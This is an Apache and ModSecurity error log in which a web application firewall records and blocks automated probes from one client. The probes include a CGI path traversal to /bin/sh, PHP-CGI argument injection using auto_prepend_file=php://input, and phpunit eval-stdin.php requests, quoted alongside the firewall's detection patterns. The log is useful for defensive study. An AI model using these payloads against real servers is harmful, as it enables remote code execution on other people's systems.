[Mon Oct 26 23:06:49.264919 2026] [core:error] [pid 3146389:tid 3146389] [client 190.171.189.85:54460] AH10244: invalid URI path (/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh)
[Mon Oct 26 23:06:50.295375 2026] [ssl:error] [pid 3147517:tid 3147517] (70014)End of file found: [client 3.90.73.206:37302] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:06:50.551323 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/hello.world"] [unique_id "auAVSh7MuKI4tGMtwYeMzQAAAAo"]
[Mon Oct 26 23:06:50.551473 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/hello.world"] [unique_id "auAVSh7MuKI4tGMtwYeMzQAAAAo"]
[Mon Oct 26 23:06:50.552233 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/hello.world"] [unique_id "auAVSh7MuKI4tGMtwYeMzQAAAAo"]
[Mon Oct 26 23:06:50.621737 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auAVSh7MuKI4tGMtwYeMzQAAAAo"]
[Mon Oct 26 23:06:50.841728 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/"] [unique_id "auAVSh7MuKI4tGMtwYeMzgAAAAo"]
[Mon Oct 26 23:06:50.841807 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/"] [unique_id "auAVSh7MuKI4tGMtwYeMzgAAAAo"]
[Mon Oct 26 23:06:50.842285 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/"] [unique_id "auAVSh7MuKI4tGMtwYeMzgAAAAo"]
[Mon Oct 26 23:06:50.843084 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auAVSh7MuKI4tGMtwYeMzgAAAAo"]
[Mon Oct 26 23:06:51.353137 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "auAVSx7MuKI4tGMtwYeMzwAAAAo"]
[Mon Oct 26 23:06:51.353213 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "auAVSx7MuKI4tGMtwYeMzwAAAAo"]
[Mon Oct 26 23:06:51.353839 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "auAVSx7MuKI4tGMtwYeMzwAAAAo"]
[Mon Oct 26 23:06:51.354874 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auAVSx7MuKI4tGMtwYeMzwAAAAo"]
[Mon Oct 26 23:06:51.547369 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/test.hello"] [unique_id "auAVSx7MuKI4tGMtwYeM0AAAAAo"]
[Mon Oct 26 23:06:51.547439 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/test.hello"] [unique_id "auAVSx7MuKI4tGMtwYeM0AAAAAo"]
[Mon Oct 26 23:06:51.547982 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/test.hello"] [unique_id "auAVSx7MuKI4tGMtwYeM0AAAAAo"]
[Mon Oct 26 23:06:51.548791 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auAVSx7MuKI4tGMtwYeM0AAAAAo"]
[Mon Oct 26 23:06:51.741007 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "auAVSx7MuKI4tGMtwYeM0QAAAAo"]
[Mon Oct 26 23:06:51.741089 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "auAVSx7MuKI4tGMtwYeM0QAAAAo"]
[Mon Oct 26 23:06:51.800481 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "auAVSx7MuKI4tGMtwYeM0QAAAAo"]
[Mon Oct 26 23:06:51.801462 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auAVSx7MuKI4tGMtwYeM0QAAAAo"]
[Mon Oct 26 23:06:52.814936 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auAVTB7MuKI4tGMtwYeM0gAAAAo"]
[Mon Oct 26 23:06:52.815650 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auAVTB7MuKI4tGMtwYeM0gAAAAo"]
[Mon Oct 26 23:06:52.816661 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auAVTB7MuKI4tGMtwYeM0gAAAAo"]
[Mon Oct 26 23:06:52.817150 2026] [authz_core:error] [pid 3148730:tid 3148730] [client 172.236.228.220:51806] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 23:06:53.006640 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auAVTR7MuKI4tGMtwYeM0wAAAAo"]
[Mon Oct 26 23:06:53.007074 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auAVTR7MuKI4tGMtwYeM0wAAAAo"]
[Mon Oct 26 23:06:53.007926 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auAVTR7MuKI4tGMtwYeM0wAAAAo"]
[Mon Oct 26 23:06:53.384172 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auAVTR7MuKI4tGMtwYeM1AAAAAo"]
[Mon Oct 26 23:06:53.384854 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auAVTR7MuKI4tGMtwYeM1AAAAAo"]
[Mon Oct 26 23:06:53.386181 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auAVTR7MuKI4tGMtwYeM1AAAAAo"]
[Mon Oct 26 23:06:53.747477 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auAVTR7MuKI4tGMtwYeM1QAAAAo"]
[Mon Oct 26 23:06:53.747938 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auAVTR7MuKI4tGMtwYeM1QAAAAo"]
[Mon Oct 26 23:06:53.748729 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auAVTR7MuKI4tGMtwYeM1QAAAAo"]
[Mon Oct 26 23:06:54.139200 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "auAVTh7MuKI4tGMtwYeM1gAAAAo"]
[Mon Oct 26 23:06:54.139646 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "auAVTh7MuKI4tGMtwYeM1gAAAAo"]
[Mon Oct 26 23:06:54.140512 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auAVTh7MuKI4tGMtwYeM1gAAAAo"]
